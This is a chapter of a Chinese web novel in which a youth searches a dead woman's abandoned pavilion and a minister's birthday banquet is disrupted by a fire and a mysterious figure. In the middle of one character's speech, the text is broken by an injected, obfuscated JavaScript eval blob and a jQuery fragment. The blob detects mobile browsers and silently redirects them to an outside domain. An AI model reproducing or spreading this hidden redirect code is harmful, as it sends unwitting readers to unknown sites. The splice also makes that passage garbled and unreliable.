观豆 作品

37. 认亲

李颐鸣自吴氏的院子出来后便径直去了前院,又将各处事情亲自过问一遍后方才带着长子李玉海去了门外迎客。


对于他等的人已经径直入了内院,并去了晓月楼的事情丝毫不晓……


晓月楼位于李府西南角方向,是李烁柔自幼居住的院子。


因为她离府时与李颐鸣闹得很不愉快,李颐鸣一气之下便叫人封了这处院子,不准任何人再踏入此地。


久而久之,原本生机勃勃的院子便荒废了下来,留下一地颓唐。


吴氏原来因为要照顾李烁柔,所以一直住在离晓月楼不远的一处院落,只是后来卧床不起之后便被李颐鸣强行迁到了别处。


以至于颜玉一路行来,很是耽搁了一些功夫。


待他到达晓月楼的时候,正是颜竟一家准备出发赴宴之际。


一身墨色衣衫的少年静默的站在已经腐朽的院落大门前,沉默片刻,不知他心头在想些什么。


过了好片刻,才见他唇角微勾,露出一抹嘲讽笑意来。而后便借着院外一棵高大的老榕树,双腿一蹬便径直跃了进去。


院子里,满地落叶枯黄,处处遍布蛛网。


这院子荒寂的模样,与他在南朝皇宫居住的地方竟是有得一比。


颜玉神色淡淡的看了眼周遭,想象着她曾经在这里生活时的模样。


脚踩着地上干枯的落叶,枯叶被他踩得咔嚓作响。


枯叶碎裂的声音陆续传来时,少年已经推开了院中阁楼紧闭的房门。


许久未曾开启的门扉上堆积了灰尘,随着少年推开门的瞬间,尘烟四起,散发出呛人咽喉的气息。


少年平静的抬手挥走眼前浮尘跨进门去,迎面而来的便是满目灰败、颓唐的景象。


屋内的陈设似乎还保持着她离开时的模样。


连一只花瓶,一床锦被都未曾被人移动过。


规整的好似自从她离开后,便再也无人踏足这里一般。


这种冷冰冰的感觉,不由让人以为她的存在就是为了作为一颗棋子,一颗生来便是为了助李颐鸣坐上尚书之位的棋子。


一旦这颗棋子的作用达成,那么她就便无存在的必要,连同她生活过的地方,触碰过的物品也都无须再被人记起、惦念。


颜玉一步步缓缓踏入屋中,修长的手指从布满灰尘的桌案上滑过。


案上一只倒塌的花瓶,少年伸手将它轻轻扶起来放好。


地上一支陈旧到已经看不出本来颜色的干花,他想要弯身将它拾起来插回瓶中。


不想手刚触碰到那干枯的花枝,那花枝便瞬间碎成了无数尘埃。


少年看着眼前已经捡不起来的干花,眼底闪过一丝浮躁。


直起身,继续迈着脚步在屋内逡巡,将眼前的一桌一椅都装进心里……


缓缓地,少年从外间步入了暖阁,暖阁内布置了宽大的书桌,桌后是一座高大的博古架,上面置满了各色已经看不清名字的书籍。


书桌上,笔墨纸砚还在,大大的宣纸铺开,好似它的主人马上就要来此坐来,然后提笔开始在上面作画。


颜玉看着眼前景象扶起一丝难得的浅笑,好似真的看到她重新回到此地,开始提笔画画一般。


然而片刻后,他的思绪瞬间飞回现实,看着眼前厚厚的一片尘埃,心头越加的堵得慌。


前院热闹的鼓乐声渐渐传来,少年在暖阁内缓缓欣赏着。


期间甚至还从书架上取下一本内里早已被虫蚁啃食的无法正常阅读的书翻看了半晌。


待将一本书翻阅了大半,他方从暖阁出来,又去了屋子的另一侧。


照布置来看,此处应该是李烁柔的卧房了,室内屏风犹在,榻上锦被亦存,只是物是人非。


看着灰败的颜色,南卿羽缓缓过去,不自觉的在床上坐下来,沉默片刻,终是忍不住蜷缩着躺了下去。


躺在她曾经躺过的地方,好似她又重新回到自己身边一般。


少年在布满灰尘的榻上躺了不知多久,甚至真的曾有一段时间安然睡过去了一般。


一直到外院的鼓乐声变得高亢起来时,一直安静享受温暖的少年突然睁开双眼,露出一双无比烦躁的目光,起身执起绣枕狠狠地朝着那架摇摇欲坠的屏风砸了过去。


屏风被砸中,轰然倒塌的瞬间带起满屋尘埃。


少年欲要继续时,转头却见方才安放绣枕的地方竟露出一只璀璨的金簪来。


金簪的款式有些老,拿起来仔细看过一眼,那上面刻着的该一对比翼双飞的鸟。


多年过去,但成色依旧一如往昔!


看这样式,该是情人所赠之物。


少年看着那做工精良的金簪,眼底缓缓流露出一丝狡黠笑意来……


外院这边,颜夕恰好同颜竞夫妇一同到达李府。


她自幼在盛京城中长大,这样的宴席也是参加过不少,只是因为父辈的关系,尽管她曾在别的宴席上见过李芷茵,但一直与其无甚往来。


只从别人口中了解到,李芷茵长得甚似其祖母,又天生聪慧,因此很得李颐鸣的疼爱,在府内的地位亦是比其父户部侍郎李玉海还要高上几分。


李颐鸣陪着颜竞一家入府后,一同穿入垂花门,走过长长的回廊又绕过布置考究的园子,而后方才来到宾客云集的厅堂外。


见颜氏一家到场,不等李颐鸣召唤,立时便有一位身着雪青色绣花襦裙、头戴百蝶飞舞簪,打扮端庄的小姐,跟着一位身穿茶色配丹色竖领对襟外衫的妇人一道,笑容满面的迎上前来。


李颐鸣见了,笑着停下脚步来与颜竞道。


“说来惭愧,我与大将军虽同朝为官多年,但一直没有机会与将军走动。


“今日难得将军得空赏脸,率夫人、小姐一同到我府上做客,应当好生招待招待。”


说着,便见他抬手往来人的方向略指了指。


“我来与诸位介绍,这是蒋氏,是玉海的媳妇。玉海他母亲去得早,如今府内便全靠她一力撑着。”


李颐鸣这话说的很明显,他夫人已逝,蒋敏便是李氏如今的当家主母,掌着府内中馈。


李颐鸣话落,蒋敏迎上前来的同时,云氏亦带了一双儿女行上前去,笑道:“早便听说夫人能干,一个人将偌大的府邸管理的井井有条,我早就想来向您请教几分了。”


蒋氏一听此话,面上笑容越加客气谦虚起来。


“云夫人客气了,我办的那点事,不过是公公与夫君大度,未曾要求太过苛刻,我方能勉强应付过去罢。要论掌家有方,又哪里能与您相比。”


云氏听了,与她莞尔一笑:“我说的都是真心话,蒋夫人不必与我客气。


“我还听说府上芷茵小姐琴棋书画样样精通,今日我正好带了阿滢过来,好叫她们姊妹互相学习学习。”


说着,云氏便往后伸了手,颜辰与颜夕见状,连忙一同上前两步来与蒋氏见礼。


蒋氏见了,赶忙将二人扶起来,而后笑看着颜夕,夸道。


“云夫人又谦虚了,颜大小姐在京中是出了名的美貌端方,倒是芷茵,该向颜大小姐多讨教讨教才是。”


“且前些日子在云雾山上的时候,我亦有幸见过颜大小姐马上风采。


“用男子的话来说,便是‘提笔可安天下,马上能定乾坤’,如此精湛的马术,怕是许多男儿都不及一二。”


听蒋氏如此夸赞,颜夕又朝蒋氏欠了欠身:“夫人谬赞了,当时不过情况紧急,阿滢实在是献丑了。”


“哪里哪里,颜大小姐太过谦虚了。”


蒋氏面上笑得灿烂,转手将李芷茵牵过来,与云氏和颜夕介绍。


蒋氏话音落下,李芷茵也规规矩矩的与颜竞、云氏等人见了礼。


云氏见了,端着一张笑脸将她扶起来:“先前便听说李家小姐是个十足的美人儿,只是一直不曾有机会细看。


“今日一见,着实吓我一跳。这般美丽的姑娘,该是天上有、地上无才是。”


话音落下,便见云氏拉了李芷茵的手,又侧身过去握了颜夕的手来与李芷茵道。


“好孩子,你与我家阿滢差不多大,想来是能够玩到一块儿去的。


“趁着今日这机会难得,你们姊妹好好聊聊,也好亲近亲近。”


云氏说完,李芷茵与颜夕便都各自上前一步,笑着互相见了礼,而后便听李芷茵道。


“先时在云雾山的时候,芷茵便对颜大小姐钦佩不已,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655598|169259||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


如今终于有机会与姐姐亲近。


“时辰不早,颜大小姐不如先随芷茵入席。待宴席过后,妹妹再带姐姐在府内好生转转。”


颜夕听说后,自是客随主便,便听他客气的道了一声:“那便劳烦芷茵妹妹了。”


“哪里。”


李芷茵听得此话,与她客气了一句后便携了颜夕的手,告别长辈们当先往宴席中去了。


蒋氏与云氏见了,也相视一笑后一同往那处走去。


见云氏等人已经入席,李颐鸣也朝颜竞、颜辰父子伸了手。


“颜大将军,颜大公子,我们也入席吧!”


“好,李尚书请。”


“请。”


颜竞看着西南角腾腾升起的白烟,仍旧有些放心不下。但心头想起一些事情,犹豫一瞬,终是忍了下来。


二人话落,便一同往厅中走去。


彼时,李芷茵已经陪着颜夕来到厅内女眷云集的地方。


在场女眷大多是朝内重臣家眷,也是颜夕平日里见过的。


云氏与颜夕进门之后,许多已经入座的夫人小姐见了,都纷纷站起身来与母女俩见礼。


颜夕亦跟随云氏一道笑着与众人回了礼。


待一轮行礼寒暄过后,李芷茵继续带着颜夕往内厅主桌的方向走,一边走一边听她与颜夕道。


“颜大小姐可喜欢看戏?”


“今日父亲特意请了南戏班来助兴,我们坐的那一桌,正好对着戏台,是不错的观戏佳座。”


颜夕听后,未置可否,笑着与她点了点头。


一路行来,颜夕才注意到,李府宴请的地方是外院一处偌大的阁楼。


阁内一楼建成宽阔的回廊模样,四面没有筑墙,只有二人合抱的柱子支撑着上层。


长长的回廊四面连接,将四座工序考究的阁楼连接起来,东、南、北三面的回廊均布置了桌席,剩下一面特意留出来,布置成了宽大的戏台。


楼与楼之间有连廊串联,四面八方均设了桌案,以至到场的宾客无论坐在哪个位置都能很好的看到戏台上的节目。


戏台正对着的阁楼方向,李颐鸣已经领着颜竞父子走进去,与到场的官员们一一见礼。


至于李芷茵与颜夕所说的位置,便是戏台右侧靠近男宾一侧的窗口,位置虽比不得男宾那处,但也却如李芷茵所言,是看戏的极佳位置。


李芷茵引着颜夕坐下时,时辰已然不早,戏台上不停地传来‘咿咿呀呀’的唱戏声。


颜夕往那边看去,仔细听了两句后听出戏台上唱的竟是一出《堂前认亲》的戏码。


听到如此不合时宜的曲目,颜夕不由一愣。


今日是李颐鸣生辰,何故要上演这样一出戏?


颜夕心头正自疑惑间,男宾那边,一个护院模样的人小跑过来,快速走到李颐鸣身旁。


与其小声道:“老爷,大爷叫奴才来回禀您,晓月楼的火势已经控制住了,叫您不必担心。”


李颐鸣听后沉着眸点了点头:“可查出何故走水?”


“大爷怀疑是有人故意纵火,恐是今日出入的人员太过杂乱,有不怀好意的人混了进来。


“且又因今日到府宾客太多,一时不好排查。”


李颐鸣听得眸色一暗:“叫他多安排些人手候着,若是有人刻意为之,想必后面还有别的事。”


“是。”


颜夕探究的目光落到李颐鸣身上,猜想他为何会叫戏班当着众多宾客唱这样一出戏时,便听身后另一桌上突然有人低问了一句。


“咦,你们看那戏台上头,是不是有个人?”


周围宾客们听说后,纷纷往戏台的方向看去。


果然,戏子们‘咿咿呀呀’唱着戏的那边,屋顶上不知何时竟出现了一抹俊逸的墨色身影。


少年着一身暗色华服,长发如墨迎风而立,鲜红的发带在空中随风飞舞。


少年手中似乎拎着一壶酒,目光中带着淡淡不屑的情绪,看了廊下一眼后,一仰头将壶内的酒一饮而尽了。


众人还在好奇那人是谁,便见方才还稳稳握在少年手中的酒壶已经伴随他面上勾起的一抹邪魅笑容脱手而出,径直往回廊中间的天井内坠去。